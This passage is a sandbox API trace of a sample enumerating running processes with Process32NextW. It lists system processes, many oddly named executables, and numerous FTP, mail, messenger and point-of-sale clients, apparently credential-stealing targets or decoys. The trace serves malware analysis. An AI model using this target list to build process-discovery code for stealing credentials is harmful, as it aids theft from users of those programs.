lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0038.101] lstrlenW (lpString="winlogon.exe") returned 12 [0038.101] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0038.101] lstrlenW (lpString="services.exe") returned 12 [0038.102] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0038.102] lstrlenW (lpString="lsass.exe") returned 9 [0038.102] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0038.103] lstrlenW (lpString="lsm.exe") returned 7 [0038.103] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.103] lstrlenW (lpString="svchost.exe") returned 11 [0038.103] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.103] lstrlenW (lpString="svchost.exe") returned 11 [0038.103] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.104] lstrlenW (lpString="svchost.exe") returned 11 [0038.104] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.104] lstrlenW (lpString="svchost.exe") returned 11 [0038.104] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.104] lstrlenW (lpString="svchost.exe") returned 11 [0038.104] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0038.105] lstrlenW (lpString="audiodg.exe") returned 11 [0038.105] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.105] lstrlenW (lpString="svchost.exe") returned 11 [0038.105] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.105] lstrlenW (lpString="svchost.exe") returned 11 [0038.105] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0038.106] lstrlenW (lpString="dwm.exe") returned 7 [0038.106] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0038.106] lstrlenW (lpString="explorer.exe") returned 12 [0038.106] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0038.107] lstrlenW (lpString="spoolsv.exe") returned 11 [0038.107] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0038.107] lstrlenW (lpString="taskhost.exe") returned 12 [0038.107] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0038.107] lstrlenW (lpString="svchost.exe") returned 11 [0038.107] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0038.108] lstrlenW (lpString="taskeng.exe") returned 11 [0038.108] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="judges-present.exe")) returned 1 [0038.108] lstrlenW (lpString="judges-present.exe") returned 18 [0038.108] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="physics.exe")) returned 1 [0038.108] lstrlenW (lpString="physics.exe") returned 11 [0038.108] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="belongs.exe")) returned 1 [0038.109] lstrlenW (lpString="belongs.exe") returned 11 [0038.109] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="deck-truly-lauderdale.exe")) returned 1 [0038.109] lstrlenW (lpString="deck-truly-lauderdale.exe") returned 25 [0038.109] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gadgets.exe")) returned 1 [0038.109] lstrlenW (lpString="gadgets.exe") returned 11 [0038.109] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="geneva.exe")) returned 1 [0038.110] lstrlenW (lpString="geneva.exe") returned 10 [0038.110] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="elephant.exe")) returned 1 [0038.110] lstrlenW (lpString="elephant.exe") returned 12 [0038.110] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="revolution_qualities.exe")) returned 1 [0038.111] lstrlenW (lpString="revolution_qualities.exe") returned 24 [0038.111] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="roger-venice.exe")) returned 1 [0038.111] lstrlenW (lpString="roger-venice.exe") returned 16 [0038.111] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cite.exe")) returned 1 [0038.111] lstrlenW (lpString="cite.exe") returned 8 [0038.111] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="popularity_segments_sell.exe")) returned 1 [0038.112] lstrlenW (lpString="popularity_segments_sell.exe") returned 28 [0038.112] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="genius regulation transform.exe")) returned 1 [0038.112] lstrlenW (lpString="genius regulation transform.exe") returned 31 [0038.112] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artist_selecting.exe")) returned 1 [0038.112] lstrlenW (lpString="artist_selecting.exe") returned 20 [0038.112] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="poems.exe")) returned 1 [0038.113] lstrlenW (lpString="poems.exe") returned 9 [0038.113] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x770, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bow.exe")) returned 1 [0038.113] lstrlenW (lpString="bow.exe") returned 7 [0038.113] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artworkcustomerprecise.exe")) returned 1 [0038.113] lstrlenW (lpString="artworkcustomerprecise.exe") returned 26 [0038.113] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="businesses.exe")) returned 1 [0038.114] lstrlenW (lpString="businesses.exe") returned 14 [0038.114] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="lucky.exe")) returned 1 [0038.114] lstrlenW (lpString="lucky.exe") returned 9 [0038.114] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="routine_mall_hebrew.exe")) returned 1 [0038.115] lstrlenW (lpString="routine_mall_hebrew.exe") returned 23 [0038.115] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="healthmanner.exe")) returned 1 [0038.115] lstrlenW (lpString="healthmanner.exe") returned 16 [0038.115] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0038.115] lstrlenW (lpString="3dftp.exe") returned 9 [0038.115] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0038.116] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0038.116] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0038.116] lstrlenW (lpString="alftp.exe") returned 9 [0038.116] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0038.116] lstrlenW (lpString="barca.exe") returned 9 [0038.116] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0038.117] lstrlenW (lpString="bitkinex.exe") returned 12 [0038.117] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0038.117] lstrlenW (lpString="coreftp.exe") returned 11 [0038.117] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0038.117] lstrlenW (lpString="far.exe") returned 7 [0038.118] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0038.118] lstrlenW (lpString="filezilla.exe") returned 13 [0038.118] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0038.118] lstrlenW (lpString="flashfxp.exe") returned 12 [0038.118] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0038.119] lstrlenW (lpString="fling.exe") returned 9 [0038.119] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0038.119] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0038.119] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0038.119] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0038.119] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0038.120] lstrlenW (lpString="icq.exe") returned 7 [0038.120] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0038.120] lstrlenW (lpString="leechftp.exe") returned 12 [0038.120] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0038.121] lstrlenW (lpString="ncftp.exe") returned 9 [0038.121] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0038.121] lstrlenW (lpString="notepad.exe") returned 11 [0038.121] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0038.122] lstrlenW (lpString="operamail.exe") returned 13 [0038.122] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0038.122] lstrlenW (lpString="pidgin.exe") returned 10 [0038.122] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0038.123] lstrlenW (lpString="scriptftp.exe") returned 13 [0038.123] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0038.123] lstrlenW (lpString="skype.exe") returned 9 [0038.123] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0038.124] lstrlenW (lpString="smartftp.exe") returned 12 [0038.124] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0038.125] lstrlenW (lpString="thunderbird.exe") returned 15 [0038.125] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0038.125] lstrlenW (lpString="totalcmd.exe") returned 12 [0038.125] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0038.126] lstrlenW (lpString="trillian.exe") returned 12 [0038.126] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0038.126] lstrlenW (lpString="webdrive.exe") returned 12 [0038.126] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0038.127] lstrlenW (lpString="whatsapp.exe") returned 12 [0038.127] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0038.127] lstrlenW (lpString="winscp.exe") returned 10 [0038.127] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0038.128] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0038.128] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0038.128] lstrlenW (lpString="active-charge.exe") returned 17 [0038.128] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0038.129] lstrlenW (lpString="accupos.exe") returned 11 [0038.129] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0038.129] lstrlenW (lpString="afr38.exe") returned 9 [0038.129] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0038.130] lstrlenW (lpString="aldelo.exe") returned 10 [0038.130] Process32NextW (in: hSnapshot=0x1f8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, 